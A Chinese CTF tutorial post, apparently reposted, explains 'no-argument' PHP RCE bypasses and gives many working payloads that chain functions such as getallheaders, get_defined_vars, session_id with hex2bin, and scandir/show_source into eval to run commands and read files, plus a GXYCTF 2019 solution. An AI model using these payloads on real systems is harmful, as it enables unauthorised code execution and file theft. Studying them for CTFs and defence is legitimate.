无参数绕过RCE

一.什么是无参数

顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等

无参数题目特征

    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {    eval($_GET['star']);}

代码解析

这里使用preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_],然后(?R)?这个意思为递归整个匹配模式

eg:

[^\W]+\(?\)匹配到"a()"形式的字符串,但是()不能内出现任何参数(?R)代表递归,即a(b(c()))都能匹配到

使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。

无参数命令执行(RCE)

既然传入的code值不能含有参数,那我们可不可以把参数放在别的地方,code用无参数函数来接收参数呢?这样就可以打破无参数函数的限制

HTTP 请求标头

首先想到headers,因为headers我们用户可控

用到的函数:

getallheaders()

(局限于Apache    apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache

获取所有 HTTP 请求标头

pos()

把第一项的值显示出来

eg: ?code=print_r(pos(getallheaders()))

end()

把最后一项的值显示出来

eg: ?code=print_r(end(getallheaders()))

还没有做到这个方法的题

先借用一下别人的图

sky是自己添加的请求头, end()指向最后一行的sky后的代码,达到phpinfo的目的,然后可以进一步去rce。

var_dump(end(getallheaders()));
eval(end(getallheaders()));

全局变量RCE

函数

get_defined_vars()

返回所有已定义变量的值,所组成的数组

返回数组顺序为GET->POST->COOKIE->FILES

?star=print_r(get_defined_vars());

我们加个pos()让他显示第一行 显示我们的get请求

?star=print_r(pos(get_defined_vars()));

?star=print_r(pos(get_defined_vars()));&cmd=system('ls');

在后面再自定义一个变量

再用end()函数显示最后一个值

?star=print_r(end(pos(get_defined_vars())));&cmd=system('ls');

把print_r换成eval,assert即可执行命令system('ls');

session

session_start()

启动新会话或者重用现有会话,成功开始会话返回TRUE,反之返回 FALSE

?star=print_r(session_start());

?star=print_r(session_id(session_start()));

返回PHPSESSID的值

?star=show_source(session_id(session_start()));

print_r修改为show_source()
用Burp suite修改PHPSESSID的值为./flag
用show_source读取flag文件源代码

但是phpsession不允许()出现

我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值

以下是十六进制编码脚本:

    <?php
    $encoded = bin2hex("phpinfo();");
    echo $encoded;
    ?>

得到phpinfo();的十六进制编码,即706870696e666f28293b

那么payload就可以是:

?参数=eval(hex2bin(session_id(session_start())));

同时更改cookie后的值为想执行的命令的十六进制编码

参考无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

scandir()文件读取

一些函数学习

scandir()-列出指定路径中的文件和目录(PHP 5,PHP 7,PHP 8)

比如里面加个'.'就是读取当前路径中的文件和目录

getcwd()- 取得当前工作目录(PHP 4, PHP 5, PHP 7, PHP 8)

类似与linux里面的pwd

current()- 返回数组中的当前值(PHP 4, PHP 5, PHP 7, PHP 8)

 next()- 将数组中的内部指针向前移动(PHP 4,PHP 5,PHP 7,PHP 8)

array_reverse()- 返回单元顺序相反的数组(PHP 4,PHP 5,PHP 7, PHP 8)

array _flip()- 交换数组中的键和值(PHP 4, PHP 5, PHP 7,PHP 8)

 array_rand() - 从数组中随机取出一个或多个随机键

dirname()

函数返回路径中的目录部分。

 chdir() -系统调用函数(同cd),用于改变当前工作目录

改变成功返回1

strrev()-用于反转给定的字符串

crypt()一用来加密,目前Linux平台上加密的方法大致有MD5,DES,3 DES

hebrevc()-把希伯来文本从右至左的流转换为左至右的流

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

localeconv() 函数会返回以下数组元素:

  • [decimal_point] - 小数点字符
  • [thousands_sep] - 千位分隔符
  • [int_curr_symbol] - 货币符号 (例如:USD)
  • [currency_symbol] - 货币符号 (例如:$)
  • [mon_decimal_point] - 货币小数点字符
  • [mon_thousands_sep] - 货币千位分隔符
  • [positive_sign] - 正值字符
  • [negative_sign] - 负值字符
  • [int_frac_digits] - 国际通用小数位
  • [frac_digits] - 本地通用小数位
  • [p_cs_precedes] - 如果货币符号在一个正数值之前显示,则为 True(1),如果在正数值之后显示,则为 False(0)
  • [p_sep_by_space] - 如果在货币符号和正数值之间包含空格,则为 True(1),否则为 False(0)
  • [n_cs_precedes] - 如果货币符号在一个负数值之前显示,则为 True(1),如果在负数值之后显示,则为 False(0)
  • [n_sep_by_space] - 如果在货币符号和负数值之间包含空格,则为 True(1),否则为 False(0)
  • [p_sign_posn] - 格式化选项:

查看当前目录文件

?star=print_r(localeconv());

这里只需要用到这里第一个是'.'

用current()函数就能构造出来这个点了

?star=print_r(current(localeconv()));

再结合scandir()函数就能看到当前目录的文件

?star=print_r(scandir(current(localeconv())));

然后根据我们上面所学的current()函数,array_reverse()函数,next()函数就可以得到我们想看到的任意文件

再用show_source查看文件内容

就可以做到当前路径文件任意读取

法二:

可以使用getcwd()

?star=print_r(scandir(getcwd()));

 同上 也可以做到同样的效果

查看上级目录文件

?star=print_r(dirname(getcwd()));

通过dirname()得到上级文件的绝对路径

?star=print_r(scandir(dirname(getcwd())));

再用scandir()就可以看到我们当前路径的文件

?star=show_source(end(scandir(dirname(getcwd()))));

但是在这里show_source()是看不到的

原因是我们所在的当前目录下 并没有上一级目录下的文件

我们必须要进入上一级目录

才能show_source这里的文件

这里就要用到上面的chdir()函数了

?star=print_r(chdir(dirname(getcwd())));

这里就成功进入上一级目录

用dirname()构造“.”

?star=show_source(pos(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

那么 问题来了

如果我们要读取的文件既不是第一个也不是最后一个也不是倒数第二个 也不是第二个

那我们怎么实现任意文件读取呢?

任意文件读取

我们可以用array _rand()array_flip()两个函数

array_flip()函数实现交换数组中的键和值

array _rand()函数 随机生成键

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))))

查看根目录文件

查看根目录只需要构造出'/'就可以

先用arrary()函数 创建数组 它回显的也是arrary()

然后将它序列化

再加密

就会随机出现尾部位置我们想要的/

?star=print_r(crypt(serialize(array())));

然后用strrev()函数反转巴黎

那我们怎么得到它的第一个字符呢?

ord()函数和 chr() 函数
只能对第一个字符进行转码
ord() 编码, chr()解码

?star=print_r(chr(ord(strrev(crypt(serialize(array()))))));

这样就能成功得到我们想要的/了

?star=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

成功查看出我们想要的根目录文件

?star=show_source(array_randarray_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));

这里随机的不确定性因素很多

可以用bp爆破一下

跑个1000次

就肯定能出来了

例题

[GXYCTF 2019]禁止套娃

打开先用dirsearch扫一下

发现是有git源码泄露

用githack还原一下

python GitHack.py http://node4.anna.nssctf.cn:28038/.git

得到源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

我们通过源码知道

flag直接是在当前目录

直接查看当前目录里的flag就ok

payload:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

这里et被过滤了 getallheaders() get_defined_vars()函数被过滤了

不能用http请求头 和全局变量

但是这题已知文件名 并且无需编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/799204.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言中的宏MACRO的用途

1&#xff09;硬码实义化 用宏来将一个硬码数值&#xff0c;进行实义化。、 #define DEBUG_CONSOLE_DEVICE_TYPE_NONE 0U /*!< No debug console. */ #define MCU_MEM_MAP_VERSION 0x0300U#define ADC_HC_ADCH_MASK …

基于小程序+ssm实现的悬赏信息发布系统

作者主页&#xff1a;Java码库 主营内容&#xff1a;SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app等设计与开发。 收藏点赞不迷路 关注作者有好处 文末获取源码 技术选型 【后端】&#xff1a;Java 【框架】&#xff1a;ssm 【…

2024年妈妈杯数学建模MathorCup数学建模思路B题思路解析+参考成品

1 赛题思路 (赛题出来以后第一时间在群内分享&#xff0c;点击下方群名片即可加群) 2 比赛日期和时间 报名截止时间&#xff1a;2024年4月11日&#xff08;周四&#xff09;12:00 比赛开始时间&#xff1a;2024年4月12日&#xff08;周五&#xff09;8:00 比赛结束时间&…

数字人解决方案——Champ单个视频单张图像生成可控且一致的人体视频生成

概述 Champ是阿里巴巴集团、南京大学和复旦大学的研究团队共同提出了一种创新的人体动画生成技术&#xff0c;Champ能够在仅有一段原始视频和一张静态图片的情况下&#xff0c;激活图片中的人物&#xff0c;使其按照视频中的动作进行动态表现&#xff0c;极大地促进了虚拟主播…

【Emgu CV教程】10.12、Moments()函数计算轮廓矩和质心

文章目录 一、概念介绍1.矩2.矩能干什么3.矩函数 二、演示1.原始素材2.代码3.运行结果 一、概念介绍 1.矩 矩&#xff0c;英文叫moment&#xff0c;是一个数学中的概念&#xff0c;以下的解释来自百度百科&#xff1a; 是不是看不懂&#xff0c;没关系&#xff0c;数学基础不…

002 spring

文章目录 UserController.javaUserMapperImpl.javaSchool.javaStudent.javaUser1ServiceImpl.javaUserServiceImpl.javaAnnotationContext.xmlApplicationContext.xmlUserControllerTest.javaStudentTest.javapom.xml UserController.java package com.aistart.controller;impo…

leetcode605-Can Place Flowers

题目&#xff1a; 假设有一个很长的花坛&#xff0c;一部分地块种植了花&#xff0c;另一部分却没有。可是&#xff0c;花不能种植在相邻的地块上&#xff0c;它们会争夺水源&#xff0c;两者都会死去。 给你一个整数数组 flowerbed 表示花坛&#xff0c;由若干 0 和 1 组成&a…

mysqldump: Got error: 1049: Unknown database ‘root‘ when selecting the datab

1.问题描述 MySQL版本号&#xff1a;MySQL Server 8.3MySQL持久化到处数据库结构及数据 mysqldump: Got error: 1049: Unknown database root when selecting the datab2.问题解决 cmd 切换本地路径 cd /d D:\Program Files\MySQL\MySQL Server 8.3\bin执行数据库备份命令 …

Linux命令-dpkg-divert命令(Debian Linux中创建并管理一个转向列表)

说明 dpkg-divert命令 是Debian Linux中创建并管理一个转向&#xff08;diversion&#xff09;列表&#xff0c;其使得安装文件的默认位置失效的工具。 语法 dpkg-divert(选项)(参数)选项 --add&#xff1a;添加一个转移文件&#xff1b; --remove&#xff1a;删除一个转移…

Java智慧校园系统源码 微信小程序+电子班牌

Java智慧校园系统源码 微信小程序电子班牌 通过设备管理对百纳智慧校园的智慧班牌以及百纳智慧屏&#xff08;校牌&#xff09;进行统一集中式管理&#xff0c;支持浏览所有设备的基本信息以及在离线状态&#xff0c;支持添加设备、设备一键开关机、一键重启、设置节假日开关机…

Java单链表和LinkedList的实现

一、单链表的实现 无头单向非循环链表 定义异常用于判断所给位置是否合法 public class IndexNotLegal extends RuntimeException{public IndexNotLegal(){}public IndexNotLegal(String smg){super(smg);} } class ListNode中包含当前节点的值和下一个节点指向 实现链表的…

nginx支持的多种负载均衡策略

目录 1.轮询&#xff08;默认&#xff09; 2. ip_hash 3. 加权轮询&#xff08;weight&#xff09; 4. fair&#xff08;第三方&#xff09; 5. 最少连接&#xff08;least_conn&#xff09; 1.轮询&#xff08;默认&#xff09; 将请求依次分配给每个服务器&#xff0c;确…

自定义OPPO-r9s的kernel内核,并开启安卓支持docker

0. 版本说明 本文提供了OPPO手机r9s的内核编译方法&#xff0c;并开机支持docker。用的是开源lineage14.1的rom。 我这边基于开源lineage14.1&#xff0c;打了一个docker内核编译镜像(17380582683/r9s)&#xff0c;大家可以在容器里&#xff0c;手动打出完整的rom包zip文件。…

SpringCloud Alibaba Sentinel 实现熔断功能

一、前言 接下来是开展一系列的 SpringCloud 的学习之旅&#xff0c;从传统的模块之间调用&#xff0c;一步步的升级为 SpringCloud 模块之间的调用&#xff0c;此篇文章为第十六篇&#xff0c;即使用 Sentinel 实现熔断功能。 二、 Ribbon 系列 首先我们新建两个服务的提供者…

vue3 keep-alive include失效问题

在使用vue3 keep-alive时&#xff0c;发现并没有起作用, 代码如下&#xff1a; <template><div class"app-main"><router-view v-slot"{ Component }"><keep-alive :include"cachedViews && cachedViews.map((x:any) &…

[StartingPoint][Tier1]Pennyworth

Important Jenkins是一个用于自动化构建、测试和部署软件项目的开源持续集成和持续部署&#xff08;CI/CD&#xff09;工具。它允许开发团队自动执行和监控在软件开发过程中的重复性任务&#xff0c;例如构建代码、运行测试、部署应用程序等。Jenkins提供了一个易于使用的Web界…

python使用selenium模拟人工操作

概述 有时候业务中的一些固定流程的测试环境需要重复执行很多次&#xff1b;这种场景其实可以用python的selenium库模拟用户手动点击输入&#xff0c;实现自动化测试&#xff1b; 我这边的python版本是 Python 3.6.7rc2 demo # codingutf-8 import time import logging imp…

Debian 安装 python 3.9.6

安装相关依赖 sudo apt update sudo apt install build-essential zlib1g-dev libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libsqlite3-dev libreadline-dev libffi-dev curl libbz2-dev 下载Python 源码 wget https://mirrors.aliyun.com/python-release/source/Py…

基于R语言BIOMOD2模型的物种分布模拟

随着生物多样性全球大会的举办&#xff0c;不论是管理机构及科研单位、高校都在积极准备&#xff0c;根据国家林草局最新工作指示&#xff0c;我国将积极整合、优化自然保护地&#xff0c;加快推进国家公园体制试点&#xff0c;构建以国家公园为主体的自然保护地体系。针对我国…

Spring 如何优雅的灵活的Http重试

1、背景说明 在互联网时代&#xff0c; 不同系统之间大多数是通过http调用&#xff0c;调用过程中会超时、异常等过种问题。为了保证业务稳定&#xff0c;http 重试是常用方案。下面列举几种方案。 2、Http重试方案介绍 2.1 传统方案 1、使用传统的递归调用&#xff0c;实现方…